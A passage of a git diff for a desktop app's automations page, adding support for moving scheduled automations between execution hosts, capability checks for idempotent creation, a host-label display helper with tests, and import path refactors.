+    const initialHostStableKey = rowRecoveryHost(row.key)?.stableKey ?? null
+    const initialDestination = destinationForProject(latest.projectId, initialHostStableKey)
     setEditingDestination(
       initialDestination ? { projectId: latest.projectId, destination: initialDestination } : null
     )
+    setEditingHostStableKey(initialDestination?.entry.stableKey ?? null)
     const nextDraft = buildAutomationEditDraft(latest)
     setDraft(nextDraft)
     setDraftAtOpen(nextDraft)
@@ -1383,6 +1558,7 @@ export default function AutomationsPage(): React.JSX.Element {
     setEditingAutomationId(null)
     setEditingRowKey(null)
     setEditingDestination(null)
+    setEditingHostStableKey(null)
     setEditingExternalTarget({ manager, job, scope })
     setCreateTarget('hermes')
     setDraft(nextDraft)
@@ -1394,9 +1570,27 @@ export default function AutomationsPage(): React.JSX.Element {
     (projectId: string): void => {
       const currentWorktrees = worktreesByRepo[projectId] ?? []
       const currentDefaultWorktree = getDefaultWorktree(currentWorktrees)
+      const selectedEditDestination =
+        editingAutomationId !== null && editingHostStableKey
+          ? resolveAutomationCreateDestination(
+              hostCatalog.entries.find((entry) => entry.stableKey === editingHostStableKey)
+            )
+          : null
+      const worktreeFetchOptions =
+        selectedEditDestination?.status === 'ready' &&
+        selectedEditDestination.authority.kind === 'runtime'
+          ? {
+              executionHostId: toRuntimeExecutionHostId(
+                selectedEditDestination.authority.environmentId
+              )
+            }
+          : undefined
       if (editingAutomationId !== null) {
-        const destination = destinationForProject(projectId)
+        const destination = destinationForProject(projectId, editingHostStableKey)
         setEditingDestination(destination ? { projectId, destination } : null)
+        if (destination) {
+          setEditingHostStableKey(destination.entry.stableKey)
+        }
       }
       setDraft((current) => ({
         ...current,
@@ -1405,7 +1599,7 @@ export default function AutomationsPage(): React.JSX.Element {
         baseBranch: ''
       }))
 
-      void fetchWorktrees(projectId).then(() => {
+      void fetchWorktrees(projectId, worktreeFetchOptions).then(() => {
         const latestWorktrees = useAppStore.getState().worktreesByRepo[projectId] ?? []
         const latestWorktree = getDefaultWorktree(latestWorktrees)
         if (!latestWorktree) {
@@ -1420,7 +1614,14 @@ export default function AutomationsPage(): React.JSX.Element {
         )
       })
     },
-    [destinationForProject, editingAutomationId, fetchWorktrees, worktreesByRepo]
+    [
+      destinationForProject,
+      editingAutomationId,
+      editingHostStableKey,
+      fetchWorktrees,
+      hostCatalog.entries,
+      worktreesByRepo
+    ]
   )
 
   const handleDraftChange = useCallback(
@@ -1433,11 +1634,14 @@ export default function AutomationsPage(): React.JSX.Element {
         editingAutomationId !== null &&
         (next.projectId !== current.projectId || next.workspaceId !== current.workspaceId)
       ) {
-        const destination = destinationForProject(next.projectId)
+        const destination = destinationForProject(next.projectId, editingHostStableKey)
         setEditingDestination(destination ? { projectId: next.projectId, destination } : null)
+        if (destination) {
+          setEditingHostStableKey(destination.entry.stableKey)
+        }
       }
     },
-    [destinationForProject, editingAutomationId]
+    [destinationForProject, editingAutomationId, editingHostStableKey]
   )
 
   const saveAutomation = async (): Promise<void> => {
@@ -1496,7 +1700,7 @@ export default function AutomationsPage(): React.JSX.Element {
     try {
       const selectedWorkspaceExists =
         draft.workspaceMode !== 'existing' ||
-        worktrees.some((worktree) => worktree.id === draft.workspaceId)
+        dialogWorktrees.some((worktree) => worktree.id === draft.workspaceId)
       if (!selectedWorkspaceExists) {
         toast.error(
           translate(
@@ -1614,18 +1818,29 @@ export default function AutomationsPage(): React.JSX.Element {
       const precheck = buildDraftPrecheck(draft)
       const runContext = buildAutomationRunContextForRepo({
         repoId: draft.projectId,
-        repos,
+        repos: editingAutomationId !== null ? dialogRepos : repos,
         projectHostSetups
       })
+      const setupDestination =
+        editingAutomationId !== null ? editHostResolution : createDestination.control.resolution
+      const setupHostId: ExecutionHostId | undefined =
+        setupDestination.status === 'ready' && setupDestination.authority.kind === 'runtime'
+          ? toRuntimeExecutionHostId(setupDestination.authority.environmentId)
+          : undefined
+      const setupProjectHostSetups = setupHostId
+        ? projectHostSetups.filter(
+            (setup) => setup.repoId !== draft.projectId || setup.hostId === setupHostId
+          )
+        : projectHostSetups
       let setupDecision = resolveAutomationSetupDecisionForSave({
         createTarget,
         workspaceMode: draft.workspaceMode,
         repoId: draft.projectId,
-        repos,
-        projectHostSetups,
+        repos: editingAutomationId !== null ? dialogRepos : repos,
+        projectHostSetups: setupProjectHostSetups,
         yamlHooks:
           createTarget === 'orca' && draft.workspaceMode === 'new_per_run'
-            ? await loadAutomationYamlHooksForRepo(draft.projectId)
+            ? await loadAutomationYamlHooksForRepo(draft.projectId, setupHostId)
             : null,
         draftSetupDecision: draft.setupDecision
       })
@@ -1633,7 +1848,8 @@ export default function AutomationsPage(): React.JSX.Element {
         const trustDecision = await ensureHooksConfirmed(
           useAppStore.getState(),
           draft.projectId,
-          'setup'
+          'setup',
+          setupHostId
         )
         if (trustDecision === 'skip') {
           setupDecision = 'skip'
@@ -1669,9 +1885,14 @@ export default function AutomationsPage(): React.JSX.Element {
         currentAutomation = (reread.ok ? reread.value : null) ?? currentAutomation
       }
       let editDestination: AutomationDestination | undefined
+      let moveTarget: AutomationCreateDestination | null = null
+      const destinationHostChanged =
+        editingDestination !== null &&
+        editingDestination.destination.entry.stableKey !== rowRecoveryHost(editingRowKey)?.stableKey
       const destinationChanged =
         currentAutomation &&
-        (currentAutomation.projectId !== draft.projectId ||
+        (destinationHostChanged ||
+          currentAutomation.projectId !== draft.projectId ||
           currentAutomation.workspaceId !== (draft.workspaceId || null) ||
           currentAutomation.workspaceMode !== draft.workspaceMode)
       if (editingAutomationId && currentAutomation && destinationChanged) {
@@ -1713,6 +1934,11 @@ export default function AutomationsPage(): React.JSX.Element {
           return
         }
         editDestination = revalidated.destination
+        // `update` reaches only the authority already holding the record, so a
+        // save landing on another one is a create there plus a delete here.
+        if (automationAuthorityCatalogKey(revalidated.authority) !== dialogAuthorityKey) {
+          moveTarget = revalidated
+        }
       }
       const updates: AutomationUpdateInput = {
         name: draft.name,
@@ -1734,44 +1960,57 @@ export default function AutomationsPage(): React.JSX.Element {
         updates.rrule = rrule
         updates.dtstart = now
       }
+      const createInput: AutomationCreateInput = {
+        name: draft.name,
+        prompt: draft.prompt,
+        precheck,
+        agentId: draft.agentId,
+        runContext,
+        projectId: draft.projectId,
+        workspaceMode: draft.workspaceMode,
+        workspaceId: draft.workspaceId,
+        baseBranch: draft.baseBranch.trim() || null,
+        setupDecision,
+        reuseSession: draft.workspaceMode === 'existing' && draft.reuseSession,
+        timezone,
+        rrule,
+        dtstart: now,
+        missedRunGraceMinutes
+      }
       const editSource = currentAutomation
-      const saved = editingAutomationId
-        ? await dispatchAutomationUpdate(
-            automationDispatchContext,
-            { rowKey: editingRowKey ?? '', automationId: editingAutomationId },
-            updates,
-            () => {
-              // Nothing names a host: no captured owner and no record to read one
-              // from, so the save is refused rather than sent unfenced.
-              if (!editSource) {
-                throw new Error(
-                  automationOwnerConflictMessage(AUTOMATION_OWNER_CONFLICT_CODES.ownerChanged)
-                )
-              }
-              return updateAutomationForTarget(editSource, updates, automationHostTarget)
-            },
-            'save',
-            editDestination
-          )
-        : await createDraftAutomation({
-            name: draft.name,
-            prompt: draft.prompt,
-            precheck,
-            agentId: draft.agentId,
-            runContext,
-            projectId: draft.projectId,
-            workspaceMode: draft.workspaceMode,
-            workspaceId: draft.workspaceId,
-            baseBranch: draft.baseBranch.trim() || null,
-            setupDecision,
-            reuseSession: draft.workspaceMode === 'existing' && draft.reuseSession,
-            timezone,
-            rrule,
-            dtstart: now,
-            missedRunGraceMinutes
+      const move = moveTarget
+        ? await moveAutomationToDestination(editSource, moveTarget, {
+            ...createInput,
+            // A move keeps the existing schedule anchor and paused state.
+            dtstart: updates.dtstart ?? editSource?.dtstart ?? createInput.dtstart,
+            enabled: editSource?.enabled ?? true,
+            sourceContext: editSource?.sourceContext ?? null
           })
+        : null
+      const saved = move
+        ? move.saved
+        : editingAutomationId
+          ? await dispatchAutomationUpdate(
+              automationDispatchContext,
+              { rowKey: editingRowKey ?? '', automationId: editingAutomationId },
+              updates,
+              () => {
+                // Nothing names a host: no captured owner and no record to read one
+                // from, so the save is refused rather than sent unfenced.
+                if (!editSource) {
+                  throw new Error(
+                    automationOwnerConflictMessage(AUTOMATION_OWNER_CONFLICT_CODES.ownerChanged)
+                  )
+                }
+                return updateAutomationForTarget(editSource, updates, automationHostTarget)
+              },
+              'save',
+              editDestination
+            )
+          : await createDraftAutomation(createInput)
       if (!saved.ok) {
         setEditorNotice(saved.notice)
+        setEditorNoticeHost(moveTarget?.entry ?? null)
         return
       }
       const automation = saved.value
@@ -1788,7 +2027,9 @@ export default function AutomationsPage(): React.JSX.Element {
       })
       setDraft((current) => ({ ...current, name: '', prompt: '' }))
       await refresh()
-      if (editingAutomationId && editingRowKey) {
+      // A move retires the edited row key; the else branch selects the new copy
+      // by id alone and lets the refreshed list resolve its row.
+      if (editingAutomationId && editingRowKey && !moveTarget) {
         setSelectedAutomationRunPageId(null)
         setSelectedRowKey(editingRowKey)
         setSelectedId(automation.id)
@@ -1799,13 +2040,25 @@ export default function AutomationsPage(): React.JSX.Element {
       if (!editingAutomationId) {
         useAppStore.getState().recordFeatureInteraction('automation-created')
       }
+      // A kept original already raised its own toast; "moved" would contradict it.
+      if (move && !move.originalRemoved) {
+        return
+      }
       toast.success(
-        editingAutomationId
+        moveTarget
           ? translate(
-              'auto.components.automations.AutomationsPage.244727e655',
-              'Automation updated.'
-            )
-          : translate('auto.components.automations.AutomationsPage.2a20596d6b', 'Automation saved.')
+              'auto.components.automations.AutomationsPage.moved',
+              'Automation moved to {host}.'
+            ).replace('{host}', () => moveTarget.entry.authorityLabel)
+          : editingAutomationId
+            ? translate(
+                'auto.components.automations.AutomationsPage.244727e655',
+                'Automation updated.'
+              )
+            : translate(
+                'auto.components.automations.AutomationsPage.2a20596d6b',
+                'Automation saved.'
+              )
       )
     } catch (error) {
       if (isHermesSave) {
@@ -1824,6 +2077,79 @@ export default function AutomationsPage(): React.JSX.Element {
     }
   }
 
+  /** Creates on the new authority before removing the old copy. */
+  const moveAutomationToDestination = async (
+    source: Automation | null,
+    target: AutomationCreateDestination,
+    input: AutomationCreateInput
+  ): Promise<{ saved: AutomationDispatchResult<Automation>; originalRemoved: boolean }> => {
+    if (!source) {
+      return {
+        saved: {
+          ok: false,
+          notice: {
+            message: automationOwnerConflictMessage(AUTOMATION_OWNER_CONFLICT_CODES.ownerChanged),
+            recovery: 'retry',
+            severity: 'owner'
+          }
+        },
+        originalRemoved: false
+      }
+    }
+    // Keyed by the move, not its payload: dtstart is minted per attempt, so a
+    // payload-keyed retry would mint a fresh creationKey and let an ambiguous
+    // create failure schedule a second copy on the destination.
+    const operationKey = `${source.id}:${target.entry.stableKey}`
+    const creationKey = moveCreationKeysRef.current.get(operationKey) ?? crypto.randomUUID()
+    moveCreationKeysRef.current.set(operationKey, creationKey)
+    const created = toDispatchResult(
+      await createAutomationAtDestination(
+        target.authority,
+        { ...input, creationKey },
+        target.destination
+      )
+    )
+    if (!created.ok) {
+      return { saved: created, originalRemoved: false }
+    }
+    invalidateWrittenHost(target.entry.stableRef, 'definition')
+    const removed = await dispatchAutomationDelete(
+      automationDispatchContext,
+      { rowKey: editingRowKey ?? '', automationId: source.id },
+      () => deleteAutomationForTarget(source, automationDialogTarget)
+    )
+    if (!removed.ok) {
+      // A transport error is not proof that deletion failed. Re-read the source
+      // under its captured owner before telling the user a duplicate remains.
+      const reread = await dispatchAutomationReread(
+        automationDispatchContext,
+        { rowKey: editingRowKey ?? '', automationId: source.id },
+        async () =>
+          (await listAutomationsForTarget(automationDialogTarget)).find(
+            (automation) => automation.id === source.id
+          ) ?? null
+      )
+      if (reread.ok && reread.value === null) {
+        moveCreationKeysRef.current.delete(operationKey)
+        return { saved: created, originalRemoved: true }
+      }
+      const messageKey =
+        reread.ok && reread.value
+          ? 'auto.components.automations.AutomationsPage.moveOriginalKept'
+          : 'auto.components.automations.AutomationsPage.moveOriginalUnverified'
+      const message =
+        reread.ok && reread.value
+          ? 'Created on {host}, but the original could not be deleted. Remove it on the old host.'
+          : 'Created on {host}, but the original deletion could not be verified. Check the old host before retrying.'
+      toast.error(
+        translate(messageKey, message).replace('{host}', () => target.entry.authorityLabel)
+      )
+    } else {
+      moveCreationKeysRef.current.delete(operationKey)
+    }
+    return { saved: created, originalRemoved: removed.ok }
+  }
+
   /** Creation states its destination and re-checks it at submit; it never infers one. */
   const createDraftAutomation = async (
     input: AutomationCreateInput
@@ -2279,27 +2605,41 @@ export default function AutomationsPage(): React.JSX.Element {
         automationYamlHooksByRepoKey={automationYamlHooksByRepoKey}
         getAutomationHooksCacheKey={getAutomationHooksCacheKey}
         repoMap={repoMap}
-        worktrees={worktrees}
+        worktrees={dialogWorktrees}
         settings={settings}
         draft={draft}
         createDestination={createDestination.control}
+        editDestination={isOrcaForm ? editDestinationControl : undefined}
         notice={editorNotice}
         onNoticeRecover={(action) => {
+          const recoveryHost = editorNoticeHost ?? editorRecoveryHost
           setEditorNotice(null)
-          hostCatalog.recover(action, editorRecoveryHost)
+          setEditorNoticeHost(null)
+          hostCatalog.recover(action, recoveryHost)
           if (action === 'retry') {
             void refresh()
           }
         }}
-        onNoticeDismiss={() => setEditorNotice(null)}
+        onNoticeDismiss={() => {
+          setEditorNotice(null)
+          setEditorNoticeHost(null)
+        }}
         onProjectChange={handleProjectChange}
         getRepoHostLabel={getAutomationRepoHostLabel}
-        allowAddProject={!isOrcaForm || automationDialogTarget.kind === 'local'}
+        allowAddProject={
+          !isOrcaForm ||
+          (editingAutomationId !== null
+            ? editHostResolution.status === 'ready'
+              ? getAutomationAuthorityTarget(editHostResolution.authority).kind === 'local'
+              : automationDialogTarget.kind === 'local'
+            : automationDialogTarget.kind === 'local')
+        }
         onCreateTargetChange={handleCreateTargetChange}
         onOpenChange={(open) => {
           setCreateOpen(open)
           if (!open) {
             setEditorNotice(null)
+            setEditorNoticeHost(null)
           }
         }}
         onDraftChange={handleDraftChange}
@@ -2350,10 +2690,11 @@ export default function AutomationsPage(): React.JSX.Element {
           selectedAutomationRunPage={selectedAutomationRunPage}
           selectedRuns={selectedRuns}
           selectedRunsNotice={selectedRunsNotice}
+          selectedHostEntry={rowRecoveryHost(selectedRow?.key ?? null)}
           recoverSelectedRuns={(action) => {
             // Reconnect/Update server act on the selected row's own host; the
             // re-ask is what brings this automation's history back either way.
-            hostCatalog.recover(action, rowRecoveryHost(selectedRowKey))
+            hostCatalog.recover(action, rowRecoveryHost(selectedRow?.key ?? null))
             setSelectedAutomationRuns((current) => ({ ...current, notice: null }))
             setRunHistoryReloadToken((token) => token + 1)
           }}
diff --git a/src/renderer/src/components/automations/HermesCronOutputView.tsx b/src/renderer/src/components/automations/HermesCronOutputView.tsx
index e11452976d0..6a6fc6e350e 100644
--- a/src/renderer/src/components/automations/HermesCronOutputView.tsx
+++ b/src/renderer/src/components/automations/HermesCronOutputView.tsx
@@ -14,7 +14,7 @@ import {
 import type { LucideIcon } from 'lucide-react'
 import CommentMarkdown from '@/components/sidebar/CommentMarkdown'
 import { cn } from '@/lib/utils'
-import { isValidAutomationSchedule } from '../../../../shared/automation-schedules'
+import { isValidAutomationSchedule } from '../../../../shared/automation-schedule-parsing'
 import { formatUiAutomationSchedule } from './automation-schedule-label'
 import { translate } from '@/i18n/i18n'
 import { parseHermesOutput, type ParsedHermesSection } from './hermes-cron-output-parse'
diff --git a/src/renderer/src/components/automations/automation-capability-probe.ts b/src/renderer/src/components/automations/automation-capability-probe.ts
index 38cf3c69326..258fb4eb292 100644
--- a/src/renderer/src/components/automations/automation-capability-probe.ts
+++ b/src/renderer/src/components/automations/automation-capability-probe.ts
@@ -5,6 +5,7 @@ import {
   AUTOMATION_LIST_HOST_SCOPE_UPDATE_REQUIRED_MESSAGE,
   AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY,
   AUTOMATION_OWNER_FENCING_UPDATE_REQUIRED_MESSAGE,
+  AUTOMATION_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY,
   type RuntimeCapability
 } from '../../../../shared/protocol-version'
 import { automationAuthorityCatalogKey } from './automation-host-catalog-types'
@@ -129,7 +130,18 @@ export async function assertOwnerFencingSupported(
   )
 }
 
+export async function assertAutomationCreateIdempotencySupported(
+  authority: AutomationAuthorityRef
+): Promise<void> {
+  await assertAuthorityCapability(
+    authority,
+    AUTOMATION_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY,
+    'Moving automations to this host requires a newer Orca server. Update the HUB and try again.'
+  )
+}
+
 export {
   AUTOMATION_LIST_HOST_SCOPE_RUNTIME_CAPABILITY,
-  AUTOMATION_LIST_HOST_SCOPE_UPDATE_REQUIRED_MESSAGE
+  AUTOMATION_LIST_HOST_SCOPE_UPDATE_REQUIRED_MESSAGE,
+  AUTOMATION_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY
 }
diff --git a/src/renderer/src/components/automations/automation-draft-model.ts b/src/renderer/src/components/automations/automation-draft-model.ts
index 827f84543a4..271fb6d9748 100644
--- a/src/renderer/src/components/automations/automation-draft-model.ts
+++ b/src/renderer/src/components/automations/automation-draft-model.ts
@@ -1,6 +1,6 @@
 import { getAgentCatalog } from '@/lib/agent-catalog'
 import type { AutomationPrecheck } from '../../../../shared/automations-types'
-import { buildAutomationCronSchedule } from '../../../../shared/automation-schedules'
+import { buildAutomationCronSchedule } from '../../../../shared/automation-schedule-occurrences'
 import type { Worktree } from '../../../../shared/worktree/types'
 import type { AutomationDraft } from './AutomationEditorDialog'
 
diff --git a/src/renderer/src/components/automations/automation-edit-draft.ts b/src/renderer/src/components/automations/automation-edit-draft.ts
index f4f15bff013..2e9ad08cc26 100644
--- a/src/renderer/src/components/automations/automation-edit-draft.ts
+++ b/src/renderer/src/components/automations/automation-edit-draft.ts
@@ -12,7 +12,7 @@ import {
   isValidAutomationCronSchedule,
   isValidAutomationSchedule,
   tryParseAutomationRrule
-} from '../../../../shared/automation-schedules'
+} from '../../../../shared/automation-schedule-parsing'
 import type { AutomationDraft } from './AutomationEditorDialog'
 import { AUTOMATION_DEFAULT_TIME, formatTimeInput } from './automation-draft-model'
 import { getAutomationSetupDecisionDraftValue } from './automation-setup-decision'
diff --git a/src/renderer/src/components/automations/automation-host-client.ts b/src/renderer/src/components/automations/automation-host-client.ts
index 2b7c3b7c102..e7ef5a44770 100644
--- a/src/renderer/src/components/automations/automation-host-client.ts
+++ b/src/renderer/src/components/automations/automation-host-client.ts
@@ -5,6 +5,7 @@ import type {
   AutomationRun,
   AutomationUpdateInput
 } from '../../../../shared/automations-types'
+import type { AutomationAuthorityRef } from '../../../../shared/automation-owner-ref'
 import { parseExecutionHostId } from '../../../../shared/execution-host'
 import type { GlobalSettings } from '../../../../shared/global-settings-types'
 
@@ -49,6 +50,14 @@ export function getAutomationTargetFromHostId(
     : { kind: 'local' }
 }
 
+export function getAutomationAuthorityTarget(
+  authority: AutomationAuthorityRef
+): AutomationHostTarget {
+  return authority.kind === 'runtime'
+    ? { kind: 'environment', environmentId: authority.environmentId }
+    : { kind: 'local' }
+}
+
 export function getAutomationListTarget(
   settings: Pick<GlobalSettings, 'activeRuntimeEnvironmentId'> | null | undefined
 ): AutomationHostTarget {
diff --git a/src/renderer/src/components/automations/automation-host-detail-display.test.ts b/src/renderer/src/components/automations/automation-host-detail-display.test.ts
new file mode 100644
index 00000000000..a2b2817194b
--- /dev/null
+++ b/src/renderer/src/components/automations/automation-host-detail-display.test.ts
@@ -0,0 +1,69 @@
+import { describe, expect, it } from 'vitest'
+import type { Automation } from '../../../../shared/automations-types'
+import type { AutomationHostCatalogEntry } from './automation-host-catalog-types'
+import { getAutomationHostDetailDisplay } from './automation-host-detail-display'
+
+const RUNTIME_SELF: AutomationHostCatalogEntry = {
+  stableRef: { authority: { kind: 'runtime', environmentId: 'r1' }, selector: { kind: 'self' } },
+  owner: {
+    authority: { kind: 'runtime', environmentId: 'r1', pairingRevision: 1 },
+    selector: { kind: 'self' }
+  },
+  stableKey: 'host:runtime:r1:self',
+  label: 'GPU box',
+  authorityLabel: 'GPU box',
+  kind: 'self',
+  catalogState: 'authoritative',
+  authorityHealth: 'fresh',
+  executionHealth: 'connected',
+  querySupport: 'scoped'
+}
+
+const DESKTOP_SSH: AutomationHostCatalogEntry = {
+  ...RUNTIME_SELF,
+  stableRef: { authority: { kind: 'desktop' }, selector: { kind: 'ssh', targetId: 't1' } },
+  owner: {
+    authority: { kind: 'desktop' },
+    selector: { kind: 'ssh', targetId: 't1', targetGeneration: 1 }
+  },
+  stableKey: 'host:desktop:ssh:t1',
+  label: 'openclaw',
+  authorityLabel: 'Local Mac',
+  kind: 'ssh'
+}
+
+function automation(overrides: Partial<Automation>): Automation {
+  return { executionTargetType: 'local', executionTargetId: 'local', ...overrides } as Automation
+}
+
+describe('getAutomationHostDetailDisplay', () => {
+  it('names the runtime that stores the record, not the “local” its target reads', () => {
+    // The record's own target is local *to that server*; rendering it verbatim
+    // would claim a remote automation runs on this Mac.
+    const display = getAutomationHostDetailDisplay({
+      automation: automation({ executionTargetType: 'local' }),
+      entry: RUNTIME_SELF
+    })
+
+    expect(display).toEqual({ label: 'GPU box', title: 'GPU box' })
+  })
+
+  it('qualifies a host with the authority that stores it when the two differ', () => {
+    const display = getAutomationHostDetailDisplay({
+      automation: automation({ executionTargetType: 'ssh', executionTargetId: 't1' }),
+      entry: DESKTOP_SSH
+    })
+
+    expect(display).toEqual({ label: 'openclaw', title: 'Local Mac · openclaw' })
+  })
+
+  it('falls back to the record’s own target for a row no host answered for', () => {
+    const display = getAutomationHostDetailDisplay({
+      automation: automation({ executionTargetType: 'ssh', executionTargetId: 't1' }),
+      entry: null,
+      hostLabelById: new Map([['ssh:t1', 'openclaw']])
+    })
+
+    expect(display).toEqual({ label: 'openclaw', title: 'openclaw' })
+  })
+})
diff --git a/src/renderer/src/components/automations/automation-host-detail-display.ts b/src/renderer/src/components/automations/automation-host-detail-display.ts
new file mode 100644
index 00000000000..2d8bdc3ee65
--- /dev/null
+++ b/src/renderer/src/components/automations/automation-host-detail-display.ts
@@ -0,0 +1,36 @@
+// The row's catalog entry names the storing authority; the record's own target
+// cannot — a runtime-stored automation reads `local`, meaning local to that
+// server. That target is only the fallback for a legacy row no host answered for.
+
+import type { Automation } from '../../../../shared/automations-types'
+import { getExecutionHostLabel, toSshExecutionHostId } from '../../../../shared/execution-host'
+import type { AutomationHostCatalogEntry } from './automation-host-catalog-types'
+
+export type AutomationHostDetailDisplay = {
+  label: string
+  /** Authority-qualified when the two differ; a self host is its own authority. */
+  title: string
+}
+
+export function getAutomationHostDetailDisplay(input: {
+  automation: Pick<Automation, 'executionTargetType' | 'executionTargetId'>
+  entry?: AutomationHostCatalogEntry | null
+  hostLabelById?: ReadonlyMap<string, string>
+}): AutomationHostDetailDisplay {
+  const { automation, entry, hostLabelById } = input
+  if (entry) {
+    return {
+      label: entry.label,
+      title:
+        entry.authorityLabel === entry.label
+          ? entry.label
+          : `${entry.authorityLabel} · ${entry.label}`
+    }
+  }
+  const hostId =
+    automation.executionTargetType === 'ssh'
+      ? toSshExecutionHostId(automation.executionTargetId)
+      : 'local'
+  const label = hostLabelById?.get(hostId) ?? getExecutionHostLabel(hostId)
+  return { label, title: label }
+}
diff --git a/src/renderer/src/components/automations/automation-scoped-list-client.test.ts b/src/renderer/src/components/automations/automation-scoped-list-client.test.ts
index e1bf8873e97..e07399319fb 100644
--- a/src/renderer/src/components/automations/automation-scoped-list-client.test.ts
+++ b/src/renderer/src/components/automations/automation-scoped-list-client.test.ts
@@ -2,7 +2,8 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'
 import { AUTOMATION_OWNER_CONFLICT_CODES } from '../../../../shared/automation-owner-conflict'
 import {
   AUTOMATION_LIST_HOST_SCOPE_RUNTIME_CAPABILITY,
-  AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY
+  AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY,
+  AUTOMATION_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY
 } from '../../../../shared/protocol-version'
 
 const callRuntimeRpc = vi.fn()
@@ -27,7 +28,8 @@ const SSH_OWNER = {
 const ALL_CAPABILITIES = {
   capabilities: [
     AUTOMATION_LIST_HOST_SCOPE_RUNTIME_CAPABILITY,
-    AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY
+    AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY,
+    AUTOMATION_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY
   ]
 }
 
diff --git a/src/renderer/src/components/automations/automation-scoped-list-client.ts b/src/renderer/src/components/automations/automation-scoped-list-client.ts
index ec44ac74ece..825329a1812 100644
--- a/src/renderer/src/components/automations/automation-scoped-list-client.ts
+++ b/src/renderer/src/components/automations/automation-scoped-list-client.ts
@@ -38,6 +38,7 @@ import {
 import {
   assertAuthorityCapability,
   assertOwnerFencingSupported,
+  assertAutomationCreateIdempotencySupported,
   AUTOMATION_LIST_HOST_SCOPE_RUNTIME_CAPABILITY,
   AUTOMATION_LIST_HOST_SCOPE_UPDATE_REQUIRED_MESSAGE,
   AutomationHostScopeUnsupportedError,
@@ -286,6 +287,9 @@ export async function createAutomationForDestination(
   input: AutomationCreateInput,
   destination: AutomationDestination
 ): Promise<Automation> {
+  if (input.creationKey) {
+    await assertAutomationCreateIdempotencySupported(authority)
+  }
   await assertOwnerFencingSupported(authority)
   const result = await callAuthority<{ automation: Automation }>(authority, 'automation.create', {
     ...toRuntimeAutomationCreateInput(input),
diff --git a/src/renderer/src/components/automations/automations-page-test-harness.tsx b/src/renderer/src/components/automations/automations-page-test-harness.tsx
index 815338927c6..ae01653093c 100644
--- a/src/renderer/src/components/automations/automations-page-test-harness.tsx
+++ b/src/renderer/src/components/automations/automations-page-test-harness.tsx
@@ -17,10 +17,12 @@ import { createRoot, type Root } from 'react-dom/client'
 import { afterEach, beforeEach, type Mock, vi } from 'vitest'
 import type { Automation, AutomationRun } from '../../../../shared/automations-types'
 import {
-  AUTOMATION_LIST_HOST_SCOPE_RUNTIME_CAPABILITY,
-  AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY
+  AUTOMATION_LIST_HOST_SCOPE_RUNTIME_CAPABILITY as LIST_HOST_SCOPE,
+  AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY as OWNER_FENCING,
+  AUTOMATION_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY as CREATE_IDEMPOTENCY
 } from '../../../../shared/protocol-version'
 import type { AppState } from '@/store'
+import type { AutomationHostCatalogEntry } from './automation-host-catalog-types'
 import type { AutomationHostCatalogView } from './use-automation-host-catalog'
 import type { AutomationCreateDestinationControl } from './use-automation-create-destination'
 import type { ExternalAutomationListEntry } from './external-automation-list-entries'
@@ -76,6 +78,7 @@ export type ListPanelProps = {
 
 export type DetailPaneProps = {
   selected: Automation | null
+  selectedHostEntry: AutomationHostCatalogEntry | null
   selectedRuns: AutomationRun[]
   selectedRunsNotice: { message: string } | null
   runNow: (automation: Automation) => void
@@ -95,6 +98,7 @@ export type EditorDialogProps = {
   open: boolean
   isEditing: boolean
   createDestination?: AutomationCreateDestinationControl
+  editDestination?: AutomationCreateDestinationControl
   notice?: { message: string; recovery: string | null } | null
   onNoticeRecover?: (action: string) => void
   repos?: { id: string }[]
@@ -300,10 +304,7 @@ export const DESKTOP_SELF_OWNER = { authority: { kind: 'desktop' }, selector: {
 
 export const RUNTIME_ID = 'gpu'
 /** A runtime that advertises both automation capabilities, so its rows carry owners. */
-const RUNTIME_CAPABILITIES = [
-  AUTOMATION_LIST_HOST_SCOPE_RUNTIME_CAPABILITY,
-  AUTOMATION_OWNER_FENCING_RUNTIME_CAPABILITY
-]
+const RUNTIME_CAPABILITIES = [LIST_HOST_SCOPE, OWNER_FENCING, CREATE_IDEMPOTENCY]
 export const RUNTIME_SELF_FILTER = {
   kind: 'host' as const,
   host: {
diff --git a/src/renderer/src/components/automations/external-automation-schedule-display.ts b/src/renderer/src/components/automations/external-automation-schedule-display.ts
index 39b19b1bbc6..1b21f1d475a 100644
--- a/src/renderer/src/components/automations/external-automation-schedule-display.ts
+++ b/src/renderer/src/components/automations/external-automation-schedule-display.ts
@@ -2,7 +2,7 @@ import type {
   ExternalAutomationJob,
   ExternalAutomationManager
 } from '../../../../shared/automations-types'
-import { isValidAutomationCronSchedule } from '../../../../shared/automation-schedules'
+import { isValidAutomationCronSchedule } from '../../../../shared/automation-schedule-parsing'
 import { formatUiAutomationSchedule } from './automation-schedule-label'
 import { translate } from '@/i18n/i18n'
 
diff --git a/src/renderer/src/components/automations/use-automation-create-destination.ts b/src/renderer/src/components/automations/use-automation-create-destination.ts
index e6d83e9491a..a47faa37c71 100644
--- a/src/renderer/src/components/automations/use-automation-create-destination.ts
+++ b/src/renderer/src/components/automations/use-automation-create-destination.ts
@@ -35,6 +35,8 @@ export type AutomationCreateDestinationControl = {
   onSelect: (stableKey: string) => void
   /** Projects the resolved destination can hold; the whole list until one resolves. */
   projects: readonly Repo[]
+  /** Set when saving would move the record to another host; replaces the plain line. */
+  moveWarning?: string | null
 }
 
 export type AutomationCreateDestinationCheck =
@@ -73,7 +75,7 @@ function choiceMessage(reason: AutomationCreateDestinationChoiceReason): string
   }
   return translate(
     'auto.components.automations.createDestination.unselected',
-    'Choose the host this automation will be created on.'
+    'Choose the host that stores and schedules this automation.'
   )
 }
 
diff --git a/src/renderer/src/components/browser-pane/ClientHostedBrowserPagePane.tsx b/src/renderer/src/components/browser-pane/ClientHostedBrowserPagePane.tsx
index c8858463ef4..928178704f2 100644
--- a/src/renderer/src/components/browser-pane/ClientHostedBrowserPagePane.tsx
